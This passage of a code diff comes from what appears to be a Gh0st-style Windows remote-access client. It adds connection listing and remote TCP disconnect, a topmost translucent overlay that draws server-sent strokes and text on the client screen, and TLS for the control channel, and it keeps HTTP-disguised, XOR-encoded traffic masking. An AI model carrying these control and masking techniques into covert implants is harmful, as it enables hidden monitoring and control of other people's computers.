||||||
|
}
|
||||||
|
}
|
||||||
|
free(pTable);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CConnectionsManager::SendConnectionList()
|
||||||
|
{
|
||||||
|
std::vector<ConnectionInfo> rows;
|
||||||
|
AppendTcp4(rows);
|
||||||
|
AppendTcp6(rows);
|
||||||
|
AppendUdp4(rows);
|
||||||
|
AppendUdp6(rows);
|
||||||
|
|
||||||
|
size_t count = rows.size();
|
||||||
|
if (count > 0xFFFF) count = 0xFFFF;
|
||||||
|
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
|
||||||
|
if (szBuffer == NULL) return;
|
||||||
|
szBuffer[0] = TOKEN_CONNECTION_LIST;
|
||||||
|
uint16_t cnt = (uint16_t)count;
|
||||||
|
memcpy(szBuffer + 1, &cnt, 2);
|
||||||
|
for (size_t i = 0; i < count; ++i)
|
||||||
|
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
|
||||||
|
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
|
||||||
|
{
|
||||||
|
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
|
||||||
|
if (info.proto != 1 || info.af != AF_INET) return;
|
||||||
|
|
||||||
|
MIB_TCPROW row = { 0 };
|
||||||
|
row.dwState = MIB_TCP_STATE_DELETE_TCB;
|
||||||
|
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
|
||||||
|
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
|
||||||
|
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
|
||||||
|
row.dwRemotePort = (DWORD)htons(info.remotePort);
|
||||||
|
SetTcpEntry(&row);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_CONNECTION: // 刷新
|
||||||
|
SendConnectionList();
|
||||||
|
break;
|
||||||
|
case COMMAND_KILL_CONNECTION: // 强制断开
|
||||||
|
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
|
||||||
|
ConnectionInfo info;
|
||||||
|
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
|
||||||
|
KillConnection(info);
|
||||||
|
}
|
||||||
|
SendConnectionList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
// ConnectionsManager.h: interface for the CConnectionsManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||||
|
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#if ENABLE_CONNECTION_MNG==0
|
||||||
|
#define CConnectionsManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
|
class CConnectionsManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CConnectionsManager();
|
||||||
|
VOID SendConnectionList();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
void KillConnection(const ConnectionInfo& info);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
|
||||||
@@ -0,0 +1,290 @@
|
|||||||
|
#include "DrawingBoardMgr.h"
|
||||||
|
#include <tchar.h>
|
||||||
|
|
||||||
|
#define MSG_CLEAR 999
|
||||||
|
|
||||||
|
namespace SimplePluginsDrawingBoard {
|
||||||
|
|
||||||
|
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_fAlpha = 150;
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
m_bTopMost = TRUE;
|
||||||
|
m_hWnd = NULL;
|
||||||
|
m_textColor = RGB(255,0,0);
|
||||||
|
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||||
|
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||||
|
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||||
|
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||||
|
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
|
||||||
|
BYTE bToken = TOKEN_DRAWING_BOARD;
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
DrawingBoardMgr::~DrawingBoardMgr()
|
||||||
|
{
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
|
while (m_hWnd)
|
||||||
|
Sleep(200);
|
||||||
|
DeleteObject(m_DrawPen);
|
||||||
|
DeleteObject(m_Font);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
|
||||||
|
{
|
||||||
|
Mprintf("Start DrawingThreadProc\n");
|
||||||
|
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
|
||||||
|
pThis->RunWindowThread();
|
||||||
|
pThis->m_bIsWorking = FALSE;
|
||||||
|
Mprintf("Stop DrawingThreadProc\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void DrawingBoardMgr::RunWindowThread()
|
||||||
|
{
|
||||||
|
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
|
||||||
|
static bool s_classRegistered = false;
|
||||||
|
if (!s_classRegistered) {
|
||||||
|
WNDCLASSEX wc = {};
|
||||||
|
wc.cbSize = sizeof(WNDCLASSEX);
|
||||||
|
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
|
||||||
|
wc.hInstance = GetModuleHandle(NULL);
|
||||||
|
wc.lpszClassName = CLASS_NAME;
|
||||||
|
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||||||
|
wc.hIcon = NULL; // 标题栏图标
|
||||||
|
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
|
||||||
|
if (!RegisterClassEx(&wc)) {
|
||||||
|
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
s_classRegistered = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD dwStyle = WS_POPUP | WS_BORDER;
|
||||||
|
m_hWnd = CreateWindowEx(
|
||||||
|
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
|
||||||
|
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
|
||||||
|
NULL, NULL, GetModuleHandle(NULL), this
|
||||||
|
);
|
||||||
|
if (m_hWnd == NULL) return;
|
||||||
|
|
||||||
|
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
|
||||||
|
style |= WS_BORDER; // 增加窄边框
|
||||||
|
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
|
||||||
|
SetWindowLong(m_hWnd, GWL_STYLE, style);
|
||||||
|
|
||||||
|
// 去掉系统菜单
|
||||||
|
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||||
|
BringWindowToTop(m_hWnd);
|
||||||
|
|
||||||
|
// 透明度
|
||||||
|
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||||
|
|
||||||
|
ShowWindow(m_hWnd, SW_SHOW);
|
||||||
|
UpdateWindow(m_hWnd);
|
||||||
|
|
||||||
|
MSG msg;
|
||||||
|
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
|
||||||
|
TranslateMessage(&msg);
|
||||||
|
DispatchMessage(&msg);
|
||||||
|
Sleep(1);
|
||||||
|
}
|
||||||
|
if (m_hWnd)
|
||||||
|
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
|
||||||
|
m_hWnd = NULL; // 线程退出后,窗口已销毁
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
DrawingBoardMgr* pThis = nullptr;
|
||||||
|
|
||||||
|
if (msg == WM_NCCREATE) {
|
||||||
|
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
|
||||||
|
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
|
||||||
|
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pThis) {
|
||||||
|
switch (msg) {
|
||||||
|
case WM_GETICON:
|
||||||
|
return NULL;
|
||||||
|
case WM_WINDOWPOSCHANGED:
|
||||||
|
{
|
||||||
|
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
|
||||||
|
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
|
||||||
|
// 如果窗口层级被改变,重新设置为顶层
|
||||||
|
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
|
||||||
|
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_PAINT:
|
||||||
|
{
|
||||||
|
PAINTSTRUCT ps;
|
||||||
|
HDC hdc = BeginPaint(hWnd, &ps);
|
||||||
|
|
||||||
|
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
|
||||||
|
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
|
||||||
|
pThis->m_locker.lock();
|
||||||
|
auto paths = pThis->m_Paths;
|
||||||
|
auto currentPath = pThis->m_CurrentPath;
|
||||||
|
auto texts = pThis->m_Texts;
|
||||||
|
pThis->m_locker.unlock();
|
||||||
|
// 画所有历史路径
|
||||||
|
for (const auto& path : paths)
|
||||||
|
{
|
||||||
|
if (path.size() >= 2)
|
||||||
|
Polyline(hdc, path.data(), (int)path.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 画当前路径
|
||||||
|
if (currentPath.size() >= 2)
|
||||||
|
{
|
||||||
|
Polyline(hdc, currentPath.data(), (int)currentPath.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 绘制文字
|
||||||
|
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
|
||||||
|
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
|
||||||
|
for (const auto& entry : texts)
|
||||||
|
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
|
||||||
|
|
||||||
|
SelectObject(hdc, hOldPen);
|
||||||
|
SelectObject(hdc, hOldFont);
|
||||||
|
|
||||||
|
EndPaint(hWnd, &ps);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
case WM_DESTROY:
|
||||||
|
PostQuitMessage(0);
|
||||||
|
return 0;
|
||||||
|
case MSG_CLEAR:
|
||||||
|
pThis->m_locker.lock();
|
||||||
|
pThis->m_Paths.clear();
|
||||||
|
pThis->m_CurrentPath.clear();
|
||||||
|
pThis->m_Texts.clear();
|
||||||
|
pThis->m_locker.unlock();
|
||||||
|
InvalidateRect(hWnd, NULL, TRUE);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength < 1) return;
|
||||||
|
|
||||||
|
BYTE cmd = szBuffer[0];
|
||||||
|
|
||||||
|
switch (cmd)
|
||||||
|
{
|
||||||
|
case CMD_DRAW_POINT:
|
||||||
|
if (ulLength == sizeof(POINT) + 1)
|
||||||
|
{
|
||||||
|
POINT pt = *(POINT*)(szBuffer + 1);
|
||||||
|
m_locker.lock();
|
||||||
|
m_CurrentPath.push_back(pt);
|
||||||
|
m_locker.unlock();
|
||||||
|
if (m_hWnd)
|
||||||
|
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case CMD_DRAW_END:
|
||||||
|
m_locker.lock();
|
||||||
|
if (!m_CurrentPath.empty())
|
||||||
|
{
|
||||||
|
m_Paths.push_back(m_CurrentPath);
|
||||||
|
m_CurrentPath.clear();
|
||||||
|
if (m_hWnd)
|
||||||
|
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||||
|
}
|
||||||
|
m_locker.unlock();
|
||||||
|
break;
|
||||||
|
case CMD_TRANSPORT:
|
||||||
|
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
|
||||||
|
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||||
|
break;
|
||||||
|
case CMD_TOPMOST:
|
||||||
|
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
|
||||||
|
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
|
||||||
|
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||||
|
break;
|
||||||
|
case CMD_MOVEWINDOW:
|
||||||
|
if (ulLength == sizeof(RECT) + 1)
|
||||||
|
{
|
||||||
|
RECT rect = *(RECT*)(szBuffer + 1);
|
||||||
|
if (m_hWnd && IsWindow(m_hWnd))
|
||||||
|
{
|
||||||
|
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
|
||||||
|
rect.right-rect.left, rect.bottom-rect.top,
|
||||||
|
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case CMD_SET_SIZE: {
|
||||||
|
if (ulLength == sizeof(int) * 2 + 1) {
|
||||||
|
int x[2];
|
||||||
|
memcpy(x, szBuffer + 1, sizeof(int) * 2);
|
||||||
|
if (IsWindow(m_hWnd)) {
|
||||||
|
::SetWindowPos(m_hWnd, NULL, 0, 0,
|
||||||
|
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case CMD_DRAW_CLEAR: {
|
||||||
|
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case CMD_DRAW_TEXT: {
|
||||||
|
ParseRemoteText(szBuffer + 1, ulLength - 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
|
||||||
|
{
|
||||||
|
if (length < sizeof(POINT)) return;
|
||||||
|
|
||||||
|
// 提取位置
|
||||||
|
POINT pt = *(POINT*)data;
|
||||||
|
PBYTE textData = data + sizeof(POINT);
|
||||||
|
int textLen = (int)(length - sizeof(POINT));
|
||||||
|
|
||||||
|
// UTF-8 → WCHAR
|
||||||
|
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
|
||||||
|
if (wideLen <= 0) return;
|
||||||
|
|
||||||
|
std::wstring wstr(wideLen, 0);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
|
||||||
|
|
||||||
|
#ifdef _UNICODE
|
||||||
|
CString cstr(wstr.c_str());
|
||||||
|
#else
|
||||||
|
// 若项目使用多字节字符集
|
||||||
|
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
std::string cstr;
|
||||||
|
if (ansiLen > 0)
|
||||||
|
{
|
||||||
|
std::string ansi(ansiLen - 1, 0);
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
|
||||||
|
cstr = ansi.c_str();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// 存入本地图形对象并刷新绘图区域
|
||||||
|
m_locker.lock();
|
||||||
|
m_Texts.push_back(std::make_pair(pt, cstr));
|
||||||
|
m_locker.unlock();
|
||||||
|
if (m_hWnd)
|
||||||
|
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace SimplePluginsDrawingBoard
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include "common/locker.h"
|
||||||
|
|
||||||
|
namespace SimplePluginsDrawingBoard {
|
||||||
|
|
||||||
|
class DrawingBoardMgr : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
~DrawingBoardMgr();
|
||||||
|
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
void ParseRemoteText(PBYTE data, ULONG length);
|
||||||
|
|
||||||
|
private:
|
||||||
|
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
|
||||||
|
BOOL m_bTopMost; // 顶层
|
||||||
|
BOOL m_bIsWorking; // 线程状态
|
||||||
|
HWND m_hWnd; // 窗口
|
||||||
|
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
|
||||||
|
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
|
||||||
|
std::vector<std::pair<POINT, std::string>> m_Texts;
|
||||||
|
HFONT m_Font;
|
||||||
|
COLORREF m_textColor;
|
||||||
|
HPEN m_DrawPen;
|
||||||
|
CLocker m_locker;
|
||||||
|
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
|
||||||
|
void RunWindowThread();
|
||||||
|
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace SimplePluginsDrawingBoard
|
||||||
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
|||||||
// 初始化V2文件传输模块
|
// 初始化V2文件传输模块
|
||||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||||
if (!m_Signature.empty())
|
if (!m_Signature.empty()) {
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
|
}
|
||||||
|
|
||||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||||
SendDriveList();
|
SendDriveList();
|
||||||
|
|||||||
+35
-1
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
|||||||
m_DataProcess = NULL;
|
m_DataProcess = NULL;
|
||||||
m_ReconnectFunc = NULL;
|
m_ReconnectFunc = NULL;
|
||||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||||
|
#ifdef _DEBUG
|
||||||
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
|
||||||
|
#else
|
||||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
|
#endif
|
||||||
m_EncoderType = encoder;
|
m_EncoderType = encoder;
|
||||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
@@ -463,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
SetKeepAliveOptions(m_sClientSocket);
|
SetKeepAliveOptions(m_sClientSocket);
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
|
||||||
|
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
|
||||||
|
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
|
||||||
|
if (TlsLoadError()) {
|
||||||
|
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (TlsEnabled()) {
|
||||||
|
if (!m_tls.Handshake(m_sClientSocket)) {
|
||||||
|
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
m_bConnected = TRUE;
|
m_bConnected = TRUE;
|
||||||
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
||||||
|
|
||||||
@@ -526,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
Sleep(50);
|
Sleep(50);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
|
||||||
|
// Schannel 内部缓冲),优先消费,避免被 select 卡住。
|
||||||
|
if (This->HasPendingData()) {
|
||||||
|
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
FD_ZERO(&fd);
|
FD_ZERO(&fd);
|
||||||
FD_SET(This->m_sClientSocket, &fd);
|
FD_SET(This->m_sClientSocket, &fd);
|
||||||
// Linux select() 会修改 timeval,必须每次重置
|
// Linux select() 会修改 timeval,必须每次重置
|
||||||
@@ -632,7 +665,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||||
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
||||||
}
|
}
|
||||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
|
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n",
|
||||||
|
this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady());
|
||||||
m_CompressedBuffer->ClearBuffer();
|
m_CompressedBuffer->ClearBuffer();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
+24
-1
@@ -8,6 +8,7 @@
|
|||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include <WinSock2.h>
|
#include <WinSock2.h>
|
||||||
#include <MSTcpIP.h>
|
#include <MSTcpIP.h>
|
||||||
|
#include "TlsChannel.h"
|
||||||
#pragma comment(lib,"ws2_32.lib")
|
#pragma comment(lib,"ws2_32.lib")
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -289,14 +290,33 @@ public:
|
|||||||
protected:
|
protected:
|
||||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||||
{
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
|
if (TlsEnabled())
|
||||||
|
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||||||
|
#endif
|
||||||
// TCP版本调用 recv
|
// TCP版本调用 recv
|
||||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||||
|
return n;
|
||||||
}
|
}
|
||||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||||
virtual int SendTo(const char* buf, int len, int flags)
|
virtual int SendTo(const char* buf, int len, int flags)
|
||||||
{
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
|
if (TlsEnabled())
|
||||||
|
return m_tls.Send(m_sClientSocket, buf, len);
|
||||||
|
#endif
|
||||||
return ::send(m_sClientSocket, buf, len, flags);
|
return ::send(m_sClientSocket, buf, len, flags);
|
||||||
}
|
}
|
||||||
|
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
|
||||||
|
// 看不到 Schannel 内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
|
||||||
|
bool HasPendingData() const
|
||||||
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
|
return m_tls.HasPending();
|
||||||
|
#else
|
||||||
|
return false;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||||
@@ -305,6 +325,9 @@ protected:
|
|||||||
protected:
|
protected:
|
||||||
sockaddr_in m_ServerAddr;
|
sockaddr_in m_ServerAddr;
|
||||||
SOCKET m_sClientSocket;
|
SOCKET m_sClientSocket;
|
||||||
|
#ifdef _WIN32
|
||||||
|
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
|
||||||
|
#endif
|
||||||
BOOL m_bWorkThread;
|
BOOL m_bWorkThread;
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
BOOL m_bIsRunning;
|
BOOL m_bIsRunning;
|
||||||
|
|||||||
+157
-2
@@ -838,6 +838,39 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_cfg->SetStr("settings", "group_name", group);
|
m_cfg->SetStr("settings", "group_name", group);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_REGEN_CLIENT_ID: {
|
||||||
|
// 撞 ID 的克隆机:服务端已判定「主机名不同却撞 client_id」,让本机重生成 ID。
|
||||||
|
// 新 ID = 旧 ID + 随机 UUID 再哈希,写回注册表后主动断开主连接,重连循环
|
||||||
|
// 会用新 ID 重新登录,脱离撞 ID 状态(脱离替补、正常显示在主机列表)。
|
||||||
|
uint64_t newID = RegenerateClientID(m_conn->clientID);
|
||||||
|
m_cfg->SetStr("settings", "client_id", std::to_string(newID));
|
||||||
|
Mprintf("[regen-client-id] 重生成 client_id: %llu -> %llu,即将重连\n",
|
||||||
|
m_conn->clientID, newID);
|
